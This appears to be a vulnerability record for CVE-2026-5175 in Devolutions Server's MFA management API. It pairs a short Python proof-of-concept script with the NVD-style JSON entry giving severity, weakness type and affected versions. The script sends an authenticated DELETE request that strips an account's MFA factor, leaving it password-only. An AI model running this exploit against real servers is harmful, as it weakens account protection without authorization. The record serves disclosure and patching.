CVE-2026-5175

import requests # PoC for CVE-2026-5175: Improper Access Control in MFA Management API # Warning: For educational purposes only. Do not use against systems without permission. target_url = "https://<target-server>/api/v1/mfa/factors/{factor_id}" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Authorization": "Bearer <valid_auth_token>", "Accept": "application/json" } # Attempt to delete the MFA factor associated with the authenticated user try: response = requests.delete(target_url, headers=headers) if response.status_code == 204: print("[+] Success: MFA factor removed. Account protection reduced to password-only.") elif response.status_code == 200: print("[+] Success: Server acknowledged the removal of MFA factor.") else: print(f"[-] Failed: HTTP {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-5175", "sourceIdentifier": "[email protected]", "published": "2026-04-01T16:23:52.350", "lastModified": "2026-04-03T19:03:38.703", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper access control in the multi-factor authentication (MFA) management API in Devolutions Server allows an authenticated attacker to delete their own configured MFA factors and reduce account protection to password-only authentication via crafted HTTP requests. \n\n\n\n\n\n\n\nThis issue affects Server: from 2026.1.6 through 2026.1.11."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.1.6.0", "versionEndExcluding": "2026.1.12.0", "matchCriteriaId": "C03E8B95-397C-465C-BE01-810DC9852675"}]}]}], "references": [{"url": "https://devolutions.net/security/advisories/DEVO-2026-0010", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}